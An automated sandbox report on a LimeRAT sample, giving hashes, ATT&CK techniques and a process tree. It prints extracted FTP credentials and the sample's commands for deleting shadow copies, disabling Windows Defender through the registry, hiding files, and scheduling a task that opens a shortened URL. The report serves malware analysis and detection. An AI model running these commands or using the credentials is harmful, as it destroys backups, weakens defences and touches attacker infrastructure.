limerat | 851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

Analysis

max time kernel
152s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
04-10-2022 21:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Size

242KB
MD5

10e6c5653d2929236947ca08594f0f55
SHA1

9ed6646ef7f0815d02066b60cd7bbc8d27cbf360
SHA256

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1
SHA512

8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30
SSDEEP

6144:mQvE/UVPy/oCa+LDZWC9z5NUb+knq1diDmN:3vzPygCa+DZCnq1c+

Score

10^/10

limerat evasion ransomware rat trojan

Malware Config

Extracted

Credentials

Protocol: ftp
Host:
ftp.encompossoftware.com
Port:
21
Username:
remoteuser
Password:
Encomposx99

Signatures

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral2/memory/4892-132-0x0000014CFD310000-0x0000014CFD352000-memory.dmp	disable_win_def
behavioral2/files/0x0001000000022e13-170.dat	disable_win_def
behavioral2/files/0x0001000000022e13-171.dat	disable_win_def

LimeRAT
Simple yet powerful RAT for Windows machines written in .NET.
rat limerat

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

Processes:

SystemPropertiesPerformance.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SystemPropertiesPerformance.exe

Executes dropped EXE 2 IoCs

Processes:

SystemPropertiesPerformance.exeiscsicli.exe

pid	Process
3576	SystemPropertiesPerformance.exe
5040	iscsicli.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exeSystemPropertiesPerformance.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	SystemPropertiesPerformance.exe

Drops desktop.ini file(s) 3 IoCs

Processes:

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exeSystemPropertiesPerformance.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
File created	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	SystemPropertiesPerformance.exe
File created	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

Enumerates connected drives 3 TTPs 17 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	Process
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
748	schtasks.exe
1940	schtasks.exe
1172	schtasks.exe
4468	schtasks.exe
1192	schtasks.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disabling Security Tools
T1089

Modify Registry
T1112

Interacts with shadow copies 2 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
796	vssadmin.exe
4484	vssadmin.exe
3016	vssadmin.exe
3648	vssadmin.exe
2008	vssadmin.exe
2080	vssadmin.exe
360	vssadmin.exe
4004	vssadmin.exe
4940	vssadmin.exe
4736	vssadmin.exe
5016	vssadmin.exe
4340	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeiscsicli.exe

pid	Process
3548	powershell.exe
3548	powershell.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe
5040	iscsicli.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exevssvc.exe851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exeSystemPropertiesPerformance.exeiscsicli.exe

description	pid	Process
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeBackupPrivilege	1116	vssvc.exe
Token: SeRestorePrivilege	1116	vssvc.exe
Token: SeAuditPrivilege	1116	vssvc.exe
Token: SeDebugPrivilege	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Token: SeBackupPrivilege	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Token: SeSecurityPrivilege	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Token: SeBackupPrivilege	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
Token: SeDebugPrivilege	3576	SystemPropertiesPerformance.exe
Token: SeDebugPrivilege	3576	SystemPropertiesPerformance.exe
Token: SeDebugPrivilege	5040	iscsicli.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 4892 wrote to memory of 3548	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	85
PID 4892 wrote to memory of 3548	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	85
PID 4892 wrote to memory of 2420	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	87
PID 4892 wrote to memory of 2420	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	87
PID 4892 wrote to memory of 1344	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	113
PID 4892 wrote to memory of 1344	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	113
PID 4892 wrote to memory of 4688	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	89
PID 4892 wrote to memory of 4688	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	89
PID 4892 wrote to memory of 2264	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	90
PID 4892 wrote to memory of 2264	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	90
PID 4892 wrote to memory of 4412	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	110
PID 4892 wrote to memory of 4412	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	110
PID 4892 wrote to memory of 4596	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	91
PID 4892 wrote to memory of 4596	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	91
PID 4892 wrote to memory of 4140	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	92
PID 4892 wrote to memory of 4140	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	92
PID 4892 wrote to memory of 1944	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	105
PID 4892 wrote to memory of 1944	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	105
PID 4892 wrote to memory of 3484	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	93
PID 4892 wrote to memory of 3484	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	93
PID 4892 wrote to memory of 4260	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	95
PID 4892 wrote to memory of 4260	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	95
PID 4892 wrote to memory of 4384	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	97
PID 4892 wrote to memory of 4384	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	97
PID 4892 wrote to memory of 1364	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	99
PID 4892 wrote to memory of 1364	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	99
PID 4892 wrote to memory of 856	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	101
PID 4892 wrote to memory of 856	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	101
PID 2420 wrote to memory of 4736	2420	cmd.exe	107
PID 2420 wrote to memory of 4736	2420	cmd.exe	107
PID 1344 wrote to memory of 4488	1344	cmd.exe	114
PID 1344 wrote to memory of 4488	1344	cmd.exe	114
PID 4412 wrote to memory of 360	4412	cmd.exe	116
PID 4412 wrote to memory of 360	4412	cmd.exe	116
PID 2264 wrote to memory of 2080	2264	cmd.exe	115
PID 2264 wrote to memory of 2080	2264	cmd.exe	115
PID 3484 wrote to memory of 796	3484	cmd.exe	120
PID 3484 wrote to memory of 796	3484	cmd.exe	120
PID 1944 wrote to memory of 4004	1944	cmd.exe	118
PID 1944 wrote to memory of 4004	1944	cmd.exe	118
PID 4140 wrote to memory of 5016	4140	cmd.exe	119
PID 4140 wrote to memory of 5016	4140	cmd.exe	119
PID 4260 wrote to memory of 4340	4260	cmd.exe	121
PID 4260 wrote to memory of 4340	4260	cmd.exe	121
PID 4688 wrote to memory of 4484	4688	cmd.exe	122
PID 4688 wrote to memory of 4484	4688	cmd.exe	122
PID 856 wrote to memory of 4940	856	cmd.exe	123
PID 856 wrote to memory of 4940	856	cmd.exe	123
PID 4384 wrote to memory of 3016	4384	cmd.exe	124
PID 4384 wrote to memory of 3016	4384	cmd.exe	124
PID 4596 wrote to memory of 3648	4596	cmd.exe	125
PID 4596 wrote to memory of 3648	4596	cmd.exe	125
PID 1364 wrote to memory of 2008	1364	cmd.exe	126
PID 1364 wrote to memory of 2008	1364	cmd.exe	126
PID 4892 wrote to memory of 1940	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	131
PID 4892 wrote to memory of 1940	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	131
PID 4892 wrote to memory of 1172	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	132
PID 4892 wrote to memory of 1172	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	132
PID 4892 wrote to memory of 4468	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	135
PID 4892 wrote to memory of 4468	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	135
PID 4892 wrote to memory of 1192	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	137
PID 4892 wrote to memory of 1192	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	137
PID 4892 wrote to memory of 748	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	139
PID 4892 wrote to memory of 748	4892	851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe	139

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid	Process
4340	attrib.exe
4400	attrib.exe
2348	attrib.exe
3336	attrib.exe

C:\Users\Admin\AppData\Local\Temp\851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
"C:\Users\Admin\AppData\Local\Temp\851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Checks computer location settings
- Drops desktop.ini file(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4484
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2080
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3648
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:796
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4340
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3016
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2008
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c Vssadmin delete shadowstorage /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\system32\vssadmin.exe
    Vssadmin delete shadowstorage /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4940
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4004
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:360
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
    3⤵
    PID:4488
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "00:35" /sc daily /mo "2" /tn "NUC" /tr "'explorer'http://bit.ly/2Maxxq5"
  2⤵
  - Creates scheduled task(s)
  PID:1940
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "16:35" /sc daily /mo "1" /tn "NUC" /tr "'explorer'http://bit.ly/2Maxxq5"
  2⤵
  - Creates scheduled task(s)
  PID:1172
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "15:16" /sc daily /mo "1" /tn "NUC" /tr "'explorer'http://bit.ly/2Maxxq5"
  2⤵
  - Creates scheduled task(s)
  PID:4468
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "00:07" /sc weekly /mo "4" /d "Mon" /tn "NUC" /tr "'explorer'http://bit.ly/2Maxxq5"
  2⤵
  - Creates scheduled task(s)
  PID:1192
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "07:20" /sc monthly /m "nov" /tn "NUC" /tr "'explorer'http://bit.ly/2Maxxq5"
  2⤵
  - Creates scheduled task(s)
  PID:748
- C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe
  "C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Checks computer location settings
  - Drops desktop.ini file(s)
  - Suspicious use of AdjustPrivilegeToken
  PID:3576
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c attrib -H -R -S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe" & attrib -H -R -S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe\*" /S /D
    3⤵
    PID:1664
  - - C:\Windows\system32\attrib.exe
      attrib -H -R -S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe"
      4⤵
      Views/modifies file attributes
      PID:4340
  - - C:\Windows\system32\attrib.exe
      attrib -H -R -S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe\*" /S /D
      4⤵
      Views/modifies file attributes
      PID:3336
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c attrib +H +R +S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe" & attrib +H +R +S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe\*" /S /D
    3⤵
    PID:3400
  - - C:\Windows\system32\attrib.exe
      attrib +H +R +S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe"
      4⤵
      Views/modifies file attributes
      PID:4400
  - - C:\Windows\system32\attrib.exe
      attrib +H +R +S "C:\Users\Admin\AppData\Roaming\addins\\iscsicli.exe\*" /S /D
      4⤵
      Views/modifies file attributes
      PID:2348
- - C:\Users\Admin\AppData\Roaming\addins\iscsicli.exe
    "C:\Users\Admin\AppData\Roaming\addins\iscsicli.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Hidden Files and Directories

T1158

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\LinkM\SystemPropertiesPerformance.exe.lnk

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe

Filesize
242KB

MD5
10e6c5653d2929236947ca08594f0f55

SHA1
9ed6646ef7f0815d02066b60cd7bbc8d27cbf360

SHA256
851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

SHA512
8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30

Download Submit
C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe

Filesize
242KB

MD5
10e6c5653d2929236947ca08594f0f55

SHA1
9ed6646ef7f0815d02066b60cd7bbc8d27cbf360

SHA256
851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

SHA512
8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30

Download Submit
C:\Users\Admin\AppData\Roaming\addins\iscsicli.exe

Filesize
90KB

MD5
14efef5a091b2e4189b9103ddb849936

SHA1
85d4fd4436d4d87731ea83da4350265e5d6d6622

SHA256
a1e65e10ae43f8e437ab824e29231b69a8458b4aebd8a77ac27d22b70169dae6

SHA512
19bef3582ac2c23ebf253a11e9da33bedcb09f935bd63ba0ff37827e8e144554dcf8e40bf6d6a0ba2d81082f27571e274ae32ce657702b53ddd827189ea70442

Download Submit
C:\Users\Admin\AppData\Roaming\addins\iscsicli.exe

Filesize
90KB

MD5
14efef5a091b2e4189b9103ddb849936

SHA1
85d4fd4436d4d87731ea83da4350265e5d6d6622

SHA256
a1e65e10ae43f8e437ab824e29231b69a8458b4aebd8a77ac27d22b70169dae6

SHA512
19bef3582ac2c23ebf253a11e9da33bedcb09f935bd63ba0ff37827e8e144554dcf8e40bf6d6a0ba2d81082f27571e274ae32ce657702b53ddd827189ea70442

Download Submit
memory/360-153-0x0000000000000000-mapping.dmp

Download
memory/748-168-0x0000000000000000-mapping.dmp

Download
memory/796-155-0x0000000000000000-mapping.dmp

Download
memory/856-150-0x0000000000000000-mapping.dmp

Download
memory/1172-165-0x0000000000000000-mapping.dmp

Download
memory/1192-167-0x0000000000000000-mapping.dmp

Download
memory/1344-139-0x0000000000000000-mapping.dmp

Download
memory/1364-149-0x0000000000000000-mapping.dmp

Download
memory/1664-176-0x0000000000000000-mapping.dmp

Download
memory/1940-164-0x0000000000000000-mapping.dmp

Download
memory/1944-145-0x0000000000000000-mapping.dmp

Download
memory/2008-163-0x0000000000000000-mapping.dmp

Download
memory/2080-154-0x0000000000000000-mapping.dmp

Download
memory/2264-141-0x0000000000000000-mapping.dmp

Download
memory/2348-181-0x0000000000000000-mapping.dmp

Download
memory/2420-138-0x0000000000000000-mapping.dmp

Download
memory/3016-161-0x0000000000000000-mapping.dmp

Download
memory/3336-182-0x0000000000000000-mapping.dmp

Download
memory/3400-177-0x0000000000000000-mapping.dmp

Download
memory/3484-146-0x0000000000000000-mapping.dmp

Download
memory/3548-135-0x0000000000000000-mapping.dmp

Download
memory/3548-136-0x000001D7AF6B0000-0x000001D7AF6D2000-memory.dmp

Filesize
136KB

Download
memory/3548-137-0x00007FFA53F60000-0x00007FFA54A21000-memory.dmp

Filesize
10.8MB

Download
